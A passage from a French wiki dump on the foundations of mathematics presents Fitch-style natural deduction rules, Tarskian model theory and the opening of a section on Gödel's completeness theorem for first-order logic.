s'instancier, par exemple en l'arithmétique en prenant pour fonctions ''0''-aires les nombres (entiers par exemple) pour fonctions binaires les symboles des opérations « + » et « * » et comme prédicats binaires, les symboles « = » et « < ». Fondements des mathématiques:Déduction naturelle 2658 14239 2005-02-23T00:43:52Z Thierry Dugnolle 206 Création La déduction naturelle est une façon d'exposer les principes de la logique mathématique pour les rendre aussi proches que possible des façons naturelles de raisonner. ===Les origines de la déduction naturelle=== L’histoire des théories de la déduction a suivi un cheminement curieux. De nombreux logiciens dont Bertrand Russell et Alfred North Whitehead avec leurs Principia Mathematica ont développé la logique sous une forme axiomatique. Les lois logiques sont déduites à partir d’axiomes logiques, d’une façon qui ressemble à la méthode euclidienne, au moins aux yeux de ceux qui faisaient ces déductions. Cette méthode pouvait sembler relativement naturelle tant qu’on choisissait comme axiomes des lois dont la vérité logique était évidente. Mais le souci de formuler des systèmes d’axiomes aussi réduits que possibles a conduit parfois à des formalismes où l’on déduit des vérités logiques évidentes à partir d’autres qui ne le sont pas. Les méthodes des logiciens permettaient de justifier tous les raisonnements dont la validité était reconnue mais elles étaient très éloignées de l’idéal d’évidence naturelle que l’on attend de la logique. Gerhard Gentzen est le premier à avoir développé des formalismes qui redonnent à la logique le caractère d’un cheminement naturel. La principale idée de départ de Gentzen était simple : pas d’axiomes logiques, que des règles de déduction et autant qu’il en faut pour reproduire toutes les formes élémentaires et naturelles de raisonnement. Pour réaliser cette idée, Gentzen a développé un formalisme où les déductions ne sont pas des suites de phrases mais des arbres, faits de colonnes de phrases qui se rejoignent jusqu’à la conclusion. Cette méthode est très suggestive pour l’intuition et elle a conduit Gentzen à faire de belles découvertes mais elle nuit à l’idée originale qui était de reproduire les formes naturelles de raisonnement. Fitch a modifié la méthode de Gentzen en renonçant aux déductions arborescentes. Les déductions de Fitch ne sont cependant pas de simples suites de phrases. Pour donner à une déduction un caractère naturel il faut faire apparaître des relations de dépendance entre les phrases. Au lieu d’une forme arborescente la méthode de Fitch se sert seulement de barres verticales. Une assertion dépend des phrases qui sont au dessus d’elle sauf de celles qui sont décalées sur la droite par ces barres. Cette règle simple permet de faire des déductions à la fois formelles et naturelles. Dans cette encyclopédie, il n’y aura pas de barres verticales, mais seulement de suites de ronds °°°°° pour décaler les phrases vers la droite. Une phrase dépendra de toutes les hypothèses qui sont au dessus d’elle sauf de celles qui sont décalées vers la droite. Les hypothèses sont des axiomes ou des hypothèses provisoires. Elles seront indiquées avec la mention (hyp) ou (axiome). ===Les règles de déduction pour les quatre opérateurs booléens fondamentaux=== Les règles de déduction permettent d’enchainer logiguement les phrases, c’est à dire introduire de nouvelles phrases comme conséquences logiques de ce qui a été dit auparavant. A chacun des opérateurs logiques fondamentaux sont associées deux règles de déduction. ====La règle du détachement==== Pour l’opérateur d’implication, la règle du détachement, ou du modus ponens énonce que des deux phrases P et si P alors Q on peut déduire Q. Elle permet de passer de conditions déjà connues, P, à des conditions nouvelles, Q, pourvu qu’il y ait une loi qui l’autorise, si P alors Q. ====La règle de l'abandon d'une hypothèse provisoire==== L’autre règle est elle aussi très naturelle mais elle est plus difficile à formuler. Lorsqu’on veut démontrer une implication de la forme si P alors Q, on procède souvent de la façon suivante : on pose P comme une hypothèse provisoire, on fait alors des déductions à partir de toutes les phrases antérieures plus P en vue d’atteindre Q. On a alors démontré Q sous l’hypothèse P ainsi que sous toutes les autres hypothèses. On peut alors en déduire si P alors Q. Insistons sur un point : Q est démontrée sous l’hypothèse P mais pas si P alors Q, qui elle ne dépend que des prémisses antérieures. Avec la méthode de Fitch, on peut introduire n’importe quand dans une déduction une hypothèse provisoire. Il suffit de la décaler vers la droite par rapport aux autres prémisses. Tout ce qui est déduit sous une hypothèse provisoire doit être sous elle ou sur sa droite mais jamais sur sa gauche. La deuxième règle de déduction pour l’implication postule que si on a déduit Q sous l’hypothèse provisoire P alors on peut déduire si P alors Q sans cette hypothèse, on peut décaler si P alors Q sur la gauche par rapport à P, mais pas par rapport aux autres prémisses utilisées dans la démonstration de Q. Je l’appelle la règle de l’abandon d’une hypothèse provisoire. Montrons qu’avec ces deux règles on peut déduire si P alors R à partir des deux phrases si P alors Q et si Q alors R : 1 si P alors Q (hyp) 2 si Q alors R (hyp) 3 °°°°° P (hyp) 4 °°°°° Q 5 °°°°° R 6 si P alors R Les lignes 1 et 2 sont les prémisses. 3 introduit une hypothèse provisoire. 4 est déduit à partir de 1 et 3 en vertu de la règle de détachement, de même pour 5 à partir de 2 et 4. 6 est la conclusion. Elle est obtenue à partir de 3 et 5 en vertu de la règle de l’abandon d’une hypothèse provisoire. ====Les règles de l'analyse et de la synthèse==== Pour la conjonction, les règles sont très simples : à partir de la phrase (A et B) on peut déduire les deux phrases A et B prises séparément. A partir des deux phrases A et B on peut déduire la phrase (A et B) . Ces règles permettent d’assembler ou au contraire de séparer des assertions qui sont toutes considérées comme vraies. C’est la forme logique de la capacité de la raison à analyser le monde, c’est à dire à étudier ses parties séparément, et à le synthétiser, c’est à dire à rassembler les élements d’une étude en un tout. C’est pourquoi ces règles sont ici appelées ici les règles de l’analyse et de la synthèse. ====Les règles de disjonction des hypothèses et de l'affaiblissement d'une thèse==== Les deux règles de déduction pour la disjonction sont la règle de la disjonction des hypothèses et la règle de l’affaiblissement d’une thèse : à partir des deux phrases, si P alors R et si Q alors R on peut déduire si (P ou Q) alors R . A partir de la phrase P on peut déduire les deux phrases (P ou Q) et (Qou P), quelle que soit la phrase Q . La règle de disjonction des hypothèses sert quand on examine plusieurs cas possibles qui conduisent à la même conclusion. On peut aussi la formuler d’une façon équivalente : si on démontré R une fois sous l’hypothès provisoire P, une autre fois sous l’hypothèse provisoire Q, alors on peut en déduire si (P ou Q) alors R. La règle de l’affaiblissement d’une thèse peut sembler peu intéressante mais elle est en vérité très importante. Parfois il est avantageux de prouver (P ou Q) après avoir prouvé P. ====Le principe du raisonnement par l'absurde==== Le principe du raisonnement par l’absurde est une règle de déduction pour la négation. Si on démontre une contradiction à partir d’une hypothèse alors celle-ci est nécessairement fausse et donc sa négation est vraie. Plus formellement, si dans une déduction sous l’hypothèse provisoire P on a trouvé une contradiction (Q et non Q) alors on peut déduire nonP à partir de toutes les prémisses antérieures sauf P. On décale donc non P sur la gauche par rapport à P. (...) °°°°° P (hyp) °°°°° (...) °°°°° Q et non Q non P Ici on suppose que (Q et non Q) a été démontrée à partir de P et des autres prémisses antérieures. On peut aussi formuler une règle équivalente et plus simple : quelle que soit la phrase Q, on peut déduire nonP à partir de si P alors (Q et nonQ). ====La règle de la suppression de la double-négation==== La seconde règle pour la négation est la règle de la suppression de la double négation. De non nonP on peut déduire P. Quand on considère que toute phrase est nécessairement ou bien vraie ou bien fausse, la validité de cette règle est évidente. Elle est caractéristique de la logique dite classique, qui est présentée ici. Elle est acceptée par la grande majorité des scientifiques. Elle a pourtant été contestée à cause d’un problème important, celui des preuves d’existence par l’absurde. Il arrive que l’on puisse prouver qu’un problème a une solution sans être capable de la trouver. Pour cela il suffit de prouver que l’absence de solution conduit à une contradiction. Le raisonnement par l’absurde permet alors de conclure qu’il n’est pas vrai que le problème n’a pas de solution : non non (le problème a une solution). Il faut alors supprimer la double négation pour en conclure que le problème a une solution. Certains mathématiciens et logiciens, dont Brouwer, ont contesté cette méthode et se sont opposés à Hilbert qui la défendait et qui l’avait brillamment mise à profit. Ils estimaient qu’une preuve d’existence n’a pas de sens tant qu’on ne peut pas effectivement montrer ce qui existe. On pourrait dire qu’ils ne croient que ce qu’ils voient. La grande majorité des travaux mathématiques sont effectués dans le cadre de la logique classique, mais il y a aussi des mathématiques intuitionnistes. On peut introduire d’autres règles pour les autres opérateurs booléens, notamment l’opérateur d’équivalence, mais ce n’est pas nécessaire, parce que ces opérateurs peuvent être définis à partir des précédents et que leurs règles de déduction peuvent être alors déduites à partir des règles précédentes. (P équivaut à Q) est défini par ( (si P alors Q) et (si Q alors P) ) . ===L’usage des noms de variable dans les théories du premier ordre=== Les règles de déduction pour les opérateurs universels et existentiels gouvernent l’usage des noms de variable. Cet usage donne à une théorie la puissance de la généralité, c’est à dire la possibilité de connaître non chaque invividu pris isolément mais tous les individus d’un même genre, en une seule phrase. Les règles d’usage des variables précisent à quelles conditions on peut introduire des noms de variable et ce qu’on peut alors dire à leur sujet. Ces règles sont naturelles mais il y a quelques difficultés techniques à propos des notions de terme, d’occurence libre ou liée d’une variable, de substitution d’un terme aux occurences d’une variable et de substitution d’une variable aux occurences d’un terme. Pour qu’une théorie puisse utiliser la logique du premier ordre il faut avoir défini un domaine d’objets et il faut que les prédicats attribués par la théorie à ses objets ne soient pas eux-mêmes des objets de la théorie. La signification d’un nom de variable d’objet, c’est de représenter un objet quelconque de la théorie : soit x un nombre. Souvent on introduit un nom de variable dans des prémisses qui déterminent des conditions générales sur cet objet. x est un objet quelconque de la théorie pourvu seulement qu’il satisfasse à ces conditions : soit x un nombre premier ... Une théorie contient en général des noms pour ses objets. La théorie des nombres entiers contient par exemple des noms pour tous les nombres : 0, 1, 2, ..., -1, -2, ... Les termes peuvent être simples ou composés. Ce sont les noms d’objet, les noms de variable d’objet, et toutes les expressions composées que l’on peut former à partir d’eux en appliquant les opérateurs d’objets de la théorie. Par exemple, 1, x, x+1et (x+x)+1 sont des termes de la théorie des nombres. Rappelons d’abord la très importante distinction entre les variables liées par un opérateur et les autres, les variables libres. Les occurences d’un nom de variable dans une phrase sont tous les endroits où ce nom apparait. Une occurence peut être libre ou liée. Quand un opérateur existentiel ou universel en x est appliqué à une phrase complexe, toutes les occurences de x deviennent liées par cet opérateur. Toutes les occurences qui ne sont pas ainsi liées sont libres. Si une phrase contient plusieurs opérateurs existentiels et universels, il est souhaitable que ces opérateurs portent tous sur des noms de variable différents. Cette règle n’est pas indispensable. Elle n’est pas respectée lorque l’on met le calcul des prédicats sous la forme d’une algèbre cylindrique (une algèbre cylindrique est une algèbre de Boole complétée par des lois particulières aux opérateurs universels et existentiels). Mais elle est toujours respectée en pratique parce qu’elle permet d’éviter des confusions. Une phrase est obtenue à partir d’une autre par substitution d’un terme t aux occurences d’une variable x lorsque toutes les occurences libres de x ont été remplacées par t. Par exemple, (le père de x est humain et le père de x est honnête) est obtenu par substitution du terme le père de x à la variable y dans la formule (y est humain et y est honnête). Ces préliminaires permettent de formuler les règles de déduction pour les opérateurs universels et existentiels. ====La règle de singularisation==== A partir d’une phrase de la forme (pour tout x) P(x) , on peut déduire P(t) pour n’importe quel terme t dont les variables ne sont pas liées dans P(x). P(x) désigne une phrase quelconque qui contient x comme variable libre, P(t) désigne la phrase obtenue à partir de P(x) en y substituant t à toutes les occurences libres de x. La règle de singularisation consiste simplement à appliquer une loi universelle à un cas singulier. ====La règle de généralisation==== De P(x) on peut déduire (pour tout x)P(x) pourvu que le nom de variable x n’apparaisse jamais dans les hypothèses dont P(x) dépend. x peut avoir été introduit avec la règle de singularisation, dans une hypothèse provisoire qui a ensuite été écartée par la règle d’abandon, ou avec la règle d’affaiblissement. Très souvent on introduit des variables dans des hypothèses provisoires. On raisonne ensuite sur elles comme si elles étaient des objets. On peut alors en déduire des lois générales, parce que ce qu’on a déduit est vrai pour tous les objets qui vérifient les mêmes hypothèses. Ce sont les règles d’abandon d’une hypothèse provisoire et de généralisation qui permettent de conclure. ====La règle des preuves directes de l’existence==== A partir de la phrase P(t) on peut déduire il existe un x tel que P(x) pour toute variable x qui n’apparait pas dans P(t) et pour tout terme t dont les noms de variables ne sont pas liés dans P(t). P(t) désigne une phrase quelconque qui contient au moins une fois le terme t. P(x) est obtenue à partir de P(t) en substituant x à t à une ou plusieurs de ses occurences. Dans cette règle il n’est pas nécessaire de substituer x à toutes les occurences de t. ====La règle des conséquences de l’existence==== La phrase il existe un x tel que P(x) peut avoir du sens même quand on ne connait pas ce x, parce qu’elle a des conséquences. Pour les déduire on introduit une nouvelle hypothèse provisoire P(y) où y est un nom de variable qui n’a jamais été utilisé auparavant et où P(y) est obtenu à partir de P(x) en substituant y à toutes les occurences de x. On peut alors raisonner sous cette hypothèse. La règle des conséquences de l’existence permet alors de conclure mais elle est un peu compliquée à énoncer : De la phrase il existe existe un x tel que P(x) on peut déduire R lorsque R a été déduit sous l’unique hypothèse provisoire supplémentaire P(y) et que y n’apparait ni dans les prémisses antérieures à P(y) ni dans R. y est une sorte d’être hypothétique. Il ne fait que servir d’intermédiaire dans une déduction mais il n’apparait ni dans ses prémisses, ni dans sa conclusion. A ces douze règles, ou quatorze, si on compte qu’il y a deux règles d’analyse et deux règles d’affaiblissement, il faut en ajouter une quinzième, très simple, la règle de répétition : on peut toujours répéter une thèse antérieure, sauf si elle dépend d’une hypothèse qui a été abandonnée. On peut donc répéter toutes les thèses tant qu’on ne les décale pas sur la gauche. Cette règle est nécessaire quand on veut répéter une prémisse dans une conclusion ou quand on a besoin d’une thèse antérieure dans le corps d’une déduction sous hypothèse provisoire pour appliquer une règle. Ces quinze règles suffisent pour faire toutes les déductions dont on a besoin dans les sciences. Même les théories des ensembles peuvent utiliser la logique du premier ordre. Pour chaque opérateur, il y a une règle d’introduction et une règle d’élimination, sauf pour la règle de la disjonction des hypothèses. Mais on peut éliminer une disjonction, en passant de (PouQ) à R à l’aide de si P alors R , de si Q alors R et de la règle de disjonction des hypothèses. Introduction et élimination sont nécessaires pour pouvoir démonter et remonter des formules. La recherche d’une déduction logique consiste justement à analyser les prémisses, c’est à dire à les démonter, et à réassembler les morceaux pour faire des formules que l’on peut enchainer logiquement jusqu’à la conclusion. On croit parfois qu’il est très difficile de faire des preuves mathématiques, mais dans son principe, ce n’est pas très différent d’un jeu de construction avec des cubes. ===Comment vérifier la correction d’un raisonnement ?=== La liste des quinze règles précédentes est complète au sens où elle suffit pour faire toutes les déductions correctes. Kurt Gödel a prouvé, (Théorème de complétude du calcul logique, 1929) pour un système logique différent, mais équivalent à celui qui vient d’être présenté, qu’il suffit pour formaliser toutes les déductions correctes du calcul des prédicats du premier ordre. Les déductions correctes sont d’abord toutes celles qui respectent rigoureusement ces règles fondamentales. Toutes les phrases doivent être ou bien des axiomes, ou bien des hypothèses provisoires, ou bien des conséquences des phrases qui les précèdent en vertu de l’une des quinze règles. On peut élargir la classe des déductions correctes en autorisant l’usage de règles dérivées. Une règle dérivée est correcte lorsqu’on peut montrer que tout ce qui peut être déduit avec elle peut aussi être déduit sans elle avec seulement les règles fondamentales. En pratique les règles logiques dérivées sont utilisées de façon implicite. C’est pourquoi il faut étudier un peu de logique, au delà de la seule connaissance des règles fondamentales, pour savoir reconnaitre si un raisonnement est correct. Mais les règles couramment utilisées sont peu nombreuses et cette étude peut être assez rapide. Tant que les déductions sont formalisées, il est toujours possible de reconnaitre si oui ou non une déduction est correcte parce que les règles de déduction sont en nombre fini, quinze si l’on se contente des règles fondamentales, et qu’il est toujours possible de vérifier en un temps fini si oui ou non une formule est la conséquence d’une ou plusieurs autres en vertu de l’une de ces règles. Même un ordinateur peut savoir reconnaitre si une déduction est correcte. La méthode est opératoire, effective, efficace. Elle marche toujours. Elle réalise une partie du programme appelé parfois finitaire proposé par David Hilbert pour résoudre les problèmes des fondements des mathématiques. Hilbert cherchait une méthode efficace, éventuellement très compliquée à mettre en pratique, qui permette de décider pour tout énoncé mathématique si oui ou non il est un théorème, c’est à dire une vérité mathématique. Le calcul des prédicats permettait de ramener le problème à la question de savoir si oui ou non une formule est une loi logique. On sait aujourd’hui, depuis le Théorème d'incomplétude de Gödel (1931), que ce programme finitaire de Hilbert n’est pas complètement réalisable. S’il était complètement réalisable, on pourrait programmer un ordinateur pour le rendre capable de discerner la vérité mathématique dans tous les cas. On peut le faire pour certaines théories mathématiques importantes, mais pas pour la théorie des nombres. En revanche, le théorème de complétude montre qu’il est toujours possible de savoir si oui ou non une déduction formelle est correcte. La vérification de la correction des déductions dans la langue courante pose davantage de difficultés. Il faut d’abord traduire les phrases familières dans une langue formalisée du calcul des prédicats. Cette étape pose parfois problème si on a des doutes sur la fidélité de la traduction. Mais la plus grosse difficulté vient de ce que les déductions courantes font en général une large place à l’implicite. Même les relations de dépendance par rapport à une hypothèse ne sont pas toujours explicitées. Les déductions formelles au contraire ne laissent rien dans l’ombre. Celles qui sont ici proposées sont très semblables aux déductions courantes sauf qu’elles explicitent tout. Les méthodes formelles ne suffisent pas en pratique pour savoir toujours reconnaître si les raisonnements d’autrui sont corrects, parce qu’elles requièrent l’explicitation de tout ce qui est implicite. C’est pourquoi souvent il faut beaucoup étudier et connaître tout l’implicite avant de savoir si un raisonnement est correct. ===Les lois logiques sont des vérités anhypothétiques=== Pour les méthodes de déduction naturelle, il n’y a pas d’axiomes logiques. Mais cela n’empêche pas de prouver la validité des lois logiques. Celles-ci sont des conclusions de déductions sans hypothèses, sans axiomes. C’est possible parce qu’on est libre d’introduire des hypothèses provisoires que l’on abandonne par la suite. Toutes les lois logiques peuvent être ainsi déduites : * le principe de non-contradiction. Pour toute phrase P, non(P et nonP) est vrai, * le principe du tiers exclu. Pour toute phrase P, (P ou nonP) est vrai, et beaucoup d’autres en nombre infini. On ne sait pas toujours reconnaître si une formule est oui ou non une loi logique. Quand on n’a pas trouvé de déduction anhypothétique d’une formule, on n’est pas toujours sûr qu’il n’en existe pas. Dans de nombreux cas on peut montrer que oui la formule n’est pas une loi logique, mais il n’y a pas de méthode universelle qui marche dans tous les cas. On peut déduire des théorèmes d’incomplétude qu’une telle méthode ne peut pas exister. Quand il est impossible de trouver une méthode qui permette de répondre dans tous les cas à une question générale, on dit qu’il s’agit d’une question indécidable. Cela ne veut pas dire qu’on ne trouve jamais de réponse mais seulement qu’on ne peut pas espérer les trouver toutes. La question si une formule est une loi logique est une des nombreuses questions dont l’indécidabilité a été démontrée. Au point de vue formel il faut distinguer une règle de déduction et une loi logique bien qu’elles soient deux notions très voisines. Une règle de déduction énonce qu’il est correct de déduire une phrase à partir de phrases antérieures. Une loi logique est une formule qui énonce une vérité universelle, vraie dans tous les mondes possibles. Il n’y a que quinze règles fondamentales de déduction naturelle alors que les lois logiques sont en nombre infini. Mais la séparation entre loi logique et règle de déduction n’est tout de même pas très nette. Aux règles fondamentales on peut joindre des règles dérivées et celles-ci sont en nombre infini. Pour chaque règle de déduction on peut définir des lois logiques qui disent essentiellement la même chose : si les conditions sont vraies la conclusion l’est aussi. Inversement on peut se servir des lois logiques pour introduire des règles dérivées, parce que la preuve d’une loi logique peut être utilisée dans la preuve de dérivation. Les lois logiques et les règles de déduction sont deux aspects différents d’une même technique logique. Les Principia Mathematica mettaient l’accent sur les lois logiques, la déduction naturelle insiste aux contraire sur les règles de déduction, mais les résultats obtenus sont finalement les mêmes. La déduction naturelle a quand même un avantage. Elle est plus facile à apprendre, à enseigner, et à appliquer. Fondements des mathématiques:Théorie des modèles 2659 14240 2005-02-23T00:46:04Z Thierry Dugnolle 206 Création Une règle de déduction est valide lorsqu’elle ne permet pas de passer de prémisses vraies à une conclusion fausse. Pour préciser cette notion de validité, il faut préciser celle de vérité mathématique. La théorie des modèles est une théorie de la vérité mathématique. Elle consiste essentiellement à dire qu’une théorie est mathématiquement vraie si on peut imaginer qu’elle est vraie, s’il y a un monde possible, idéal, dans lequel elle est vraie. Elle a été formulée d’une façon complète et cohérente d’abord par Alfred Tarski, qui l'appelait aussi la sémantique du calcul des prédicats, pour deux raisons. * Elle donne une définition de la vérité et de la conséquence logique indépendante de l'approche syntaxique de la prouvabilité, jusqu'alors adoptée par tous les logiciens. Syntaxique veut dire ici qu'on donne des règles de manipulation des symboles. * Elle donne une réponse partielle à la question de la signification du langage, parce que les mots ont du sens s'ils permettent de faire des phrases vraies dans un monde possible. Mais ses racines sont beaucoup plus lointaines. Le théorème de complétude de Kurt Gödel peut être considéré comme le théorème fondamental de la théorie des modèles. Il clôt des recherches qui remontent au théorème de Löwenheim (1915) et qui s’inspirent d’une approche hilbertienne de la vérité mathématique. On ne peut pas la considérer comme une réponse complète à la question de la nature de la vérité mais seulement comme une réponse minimale. Par minimale, il ne faut pas entendre que personne ne doit contester ses principes mais seulement qu’elle est une réponse respectable, efficace au moins pour résoudre quelques problèmes élémentaires. ===Les modèles et l'imagination=== Les énoncés mathématiques portent sur des êtres abstraits. Un théorème est vrai lorsque ces êtres abstraits sont idéalement comme il le dit. Mais comment être vraiment sûr que les êtres abstraits existent et que nous savons ce qu’ils sont ? Comment connaissons-nous tout ce que nous connaissons sur les êtres idéaux ? Un être idéal existe aussi longtemps qu’on peut y penser. On peut penser à un être si on peut le nommer et développer une bonne théorie à son sujet. Un fiat logique suffit pour établir l’existence d’un être idéal. Cet être existe parce que je lui ai donné un nom. Tout être rationnel dispose d’un tel pouvoir divin, mais il est restreint aux mondes virtuels. C’est simplement un cas particulier de la puissance de l’imagination. Pour n’importe quel nom, on peut imaginer qu’on connait un être ainsi nommé. Les prédicats d’un être idéal peuvent aussi être établis avec un simple fiat. Ces prédicats sont vrais pour cet être parce que j’ai décidé qu’ils le sont. N’importe quelle vérité par convention peut ainsi être choisie. Il n’y a qu’une seule restriction. Si j’ai décidé qu’un prédicat est vrai pour un objet, alors je ne dois pas décider aussi qu’il ne l’est pas. Ce principe de cohérence est une façon très naturelle de penser à la raison. Nous savons qu’un être idéal existe et que ses prédicats sont vrais quand nous avons une théorie cohérente dans laquelle cet être est nommé et ses prédicats sont considérés comme vrais. De ce point de vue, les questions sur l’existence des êtres idéaux et sur notre savoir à leur sujet sont identiques aux questions sur la cohérence des théories. Cette réponse minimale à la question de la nature de la vérité mathématique a été défendue par David Hilbert, en réponse aux objections sur l’existence d’êtres problématiques. Les vérités mathématiques sont semblables aux vérités expérimentales sauf qu’elles portent sur des mondes virtuels alors que les vérités expérimentales portent sur notre unique monde réel. Un monde virtuel est couramment appelé un modèle de la théorie. ===Les modèles et les ensembles de formules atomiques=== Un modèle est défini lorsque toutes les vérités virtuelles de base sont définies. Au point de vue technique, les vérités virtuelles de base sont définies par un ensemble de formules atomiques. Une formule est atomique lorsqu’elle ne contient pas d’opérateurs logiques (négation, conjonction, existentiation, ...) Atomique ne veut pas dire ici qu’une formule ne contient qu’un seul symbole mais seulement qu’elle contient un seul symbole de prédicat fondamental. Les autres noms qu’elle contient sont des noms d’objet et ils peuvent être très complexes. Qu’une formule est atomique veut dire qu’elle ne contient pas de sous-formule. Il s’agit d’une sorte d’atomicité logique. Une formule atomique est considérée comme vraie si elle est dans l’ensemble choisi de toutes les formules atomiques vraies, sinon elle est fausse. Il s’agit simplement de vérités conventionnelles. Tarski a énoncé cette définition de la vérité avec l’exemple suivant. La phrase “la neige est blanche” est vraie si et seulement si la neige est blanche. Quand l’ensemble de toutes les vérités atomiques et l’ensemble de tous les objets de la théorie (son univers d’objets) sont définis alors la vérité ou la fausseté de toutes les formules bien composées (avec la grammaire de la logique du premier ordre) sont également définies. Supposons par exemple que A(x) est une formule atomique lorsque x est remplacé par un nom d’objet. Alors la formule complexe (pour tout x, A(x) ) est vraie si et seulement si toutes les formules atomiques A(x) sont vraies pour tous les noms x dans le domaine des noms d’objets. On peut ainsi définir par étapes successives la vérité de toutes les formules complexes de la logique du premier ordre composées à partir des symboles fondamentaux d’une théorie. ===L'interprétation des axiomes dans un modèle=== Une théorie est définie par un système, fini ou infini dénombrable, d’axiomes. La vérité des formules atomiques est définie quand on a une interprétation de la théorie. Une interprétation est définie par les éléments suivants. * Un ensemble U, l’univers de la théorie. Le quantificateur, pour tout x, est interprété comme, pour tout x dans U. * A chaque nom d’objet (constante) mentionné dans les axiomes est associé un élément de U. * A chaque prédicat unaire (à une place) fondamental mentionné dans les axiomes est associé une partie de U, l’extension de ce prédicat. * A chaque prédicat binaire fondamental mentionné dans les axiomes est associé une partie du produit cartésien de U et U, c’est l’ensemble de tous les couples pour lesquels le prédicat est vrai. * De même pour les prédicats ternaires, ou d’arité supérieure. * A chaque opérateur unaire mentionné dans les axiomes est associé une fonction de U dans U. * A chaque opérateur binaire mentionné dans les axiomes est associé une fonction de U X U dans U. * De même pour les opérateurs d’arité supérieure. L’ensemble U, ou l’interprétation dont il fait partie, est un modèle d’une théorie lorsque tous les axiomes sont vrais relativement à cette interprétation. L'usage du mot, modèle, est parfois un peu confus. Tantôt il désigne l'ensemble U, tantôt l'ensemble des formules atomiques vraies, tantôt l'interprétation. Souvent, quand on dit un modèle d'une théorie, on suppose automatiquement qu'elle y est vraie. Mais on dit aussi qu'une théorie est fausse dans un modèle. ===La définition de la vérité des formules complexes=== Dès qu’on a une interprétation d’une théorie, la vérité de toutes les formules qui mentionnent seulement les constantes, les prédicats et les opérateurs fondamentaux, peut être définie. On commence par les formules atomiques et on procède récursivement aux formules plus complexes. La complexité d'une formule est mesurée par le nombre maximal d’opérateurs emboités. Par exemple dans ((non p) ou (q et r)) , le “ou” et le “non” sont emboités l’un dans l’autre. Mais le “non” et le “et” ne le sont pas. Cette proposition est de complexité 2 parce qu’elle au maximum deux opérateurs emboités. Les formules de complexité 0 sont les formules atomiques. Elles sont vraies si elles sont dans l'ensemble, défini par convention, des formules atomiques vraies, sinon elles sont fausses. Supposons que la vérité et la fausseté de toutes les formules de complexité n sans variables libres ait été définie. Montrons comment définir la vérité et la fausseté des formules de complexité n+1. Soit p une formule de complexité n+1. On a l'un des six cas suivants (si l'on a adopté ces opérateurs logiques comme opérateurs de construction des formules, voir Prédicats et Calcul des prédicats) a) p = non q b) p = (q et r) c) p = (q ou r) d) p = (si q alors r) e) p = (pour tout x)q f) p = (il existe un x tel que q) q et r sont des formules de complexité n, ou inférieure, dont la vérité ou la fausseté est donc déjà définie, sauf si elles contiennent des variables libres. a) Si q est vrai alors p est faux, par définition de la négation. Si q est faux alors p est vrai, pour la même raison. b) Si q et r sont tous les deux vrais alors p aussi, mais p est faux dans tous les autres cas. c) Si q et r sont tous les deux faux alors p aussi, mais p est vrai dans tous les autres cas. d) Si q est vrai et r est faux alors p est faux, mais p est vrai dans tous les autres cas. e) Si l'une des formules obtenues en substituant une constante (un élément de U) à toutes les occurences libres de x dans q est fausse alors p est fausse, sinon, si q n'a pas d'autre variables libres que x, p est vraie. f) Si l'une des formules obtenues en substituant une constante (un élément de U) à toutes les occurences libres de x dans q est vraie alors p est vraie, sinon, si q n'a pas d'autre variables libres que x, p est fausse. e) et f) permettent de définir la vérité et la fausseté de toutes les formules closes, c'est à dire sans variables libres. La vérité et la fausseté de toutes les formules complexes, sans variables libres, de la logique du premier ordre, peut donc être définie à partir d'un modèle. Fondements des mathématiques:Complétude de la logique du premier ordre 2660 19045 2005-08-13T14:45:35Z Thierry Dugnolle 206 /* Une preuve */ Le théorème de complétude du calcul des prédicats du premier ordre a été prouvé par Kurt Gödel (1929, thèse de doctorat, Sur la complétude du calcul logique). Il affirme que le calcul des prédicats est complet au sens où on connait des listes finies et complètes de tous ses principes. Nous allons donner plusieurs définitions équivalentes de cette notion de complétude. ===Diverses formulations équivalentes du théorème de complétude=== On peut donner un nombre fini d’axiomes, de schémas d’axiomes ou de règles de déduction tel que toutes les preuves logiquement valides formulées avec la grammaire du calcul des prédicats du premier ordre soient obtenues à partir de ces principes. La notion de validité logique d’une preuve est précisée par la théorie des modèles. Une règle de déduction est valide lorsque tout modèle de ses prémisses est aussi un modèle de sa conclusion. Un axiome logique est valide lorsqu’il est vrai dans tous les modèles. Un schéma d’axiomes est un principe logique valide lorsque tous les axiomes produits par ce schéma sont des axiomes logiques valides. Un système de principes logiques est valide lorsque ses axiomes, ses schémas d’axiomes et ses règles de déduction sont valides. Une preuve est logiquement valide lorsqu’elle peut être formalisée dans le cadre d’un système logique valide. Nous allons prouver que la liste des quinze règles de déduction naturelle est un système complet des principes de la logique du premier ordre. Ce théorème est équivalent à celui de Gödel. Mais la preuve de Gödel est basée sur une autre formulation des principes logiques, celle des Principia Mathematica de Whitehead et Russell. Donnons d’abord de ce théorème plusieurs formulations équivalentes. Il faut quelques définitions : conséquence logique, prouvabilité, cohérence et incohérence dans un système logique, possiblement et absolument vrai et faux. Si p et q sont deux formules du calcul des prédicats, on dira que q est une conséquence logique de p lorsque tout modèle de p est aussi un modèle de q, autrement dit, pour tout modèle m, si p est vrai dans m alors q est vrai dans m. On peut remarquer qu’il y a une circularité dans cette définition, au sens où on ne peut pas la comprendre si l’on ne sait pas déjà ce qu’est une conséquence logique. Le but d’une telle définition n’est pas d’apprendre au lecteur ce qu’est une conséquence logique. On suppose qu’il le sait déjà, ou qu’il en a une idée, peut-être un peu vague. Le but ici est seulement de préciser une notion intuitive, de lui donner une formulation sans équivoque. Si p et q sont deux formules du calcul des prédicats, q est prouvable à partir de p dans un système logique L, lorsqu’il existe une preuve de q à partir de p dans L, au sens où les règles de déduction de L suffisent pour déduire q en un nombre fini d'étapes à partir de p et des axiomes logiques de L. Une formule p est cohérente dans L lorsque pour toute formule q, (q et non q) n’est pas prouvable à partir de p dans L. Une formule p est incohérente dans L lorsqu’il existe une formule q telle que (q et non q) soit prouvable à partir de p dans L. Une formule p du calcul des prédicats est possiblement vraie lorsqu’elle est vraie dans au moins un modèle. Elle est absolument vraie, ou est une loi logique, lorsqu’elle est vraie dans tous les modèles. Elle est possiblement fausse lorsqu’elle est fausse dans au moins un modèle. Elle est absolument fausse, ou est une contradiction logique, lorsqu’elle est fausse dans tous les modèles. On peut alors énoncer le théorème de complétude sous la forme suivante. Il existe des systèmes logiques valides L qui satisfont aux trois conditions équivalentes suivantes. (i) '''pour toutes formules p et q (du calcul des prédicats du premier ordre), si q est une conséquence logique de p alors q est prouvable à partir de p dans L.''' (ii) '''pour toute formule p, si p est cohérente dans L alors p est possiblement vraie.''' (iii) '''pour toute formule p, si p est absolument fausse alors p est incohérente dans L.''' La déduction naturelle ne contient pas d'axiomes logiques ou de schémas d'axiomes mais seulement des règles de déduction. On peut alors définir les vérités anhypothétiques comme les formules prouvables, en un nombre fini 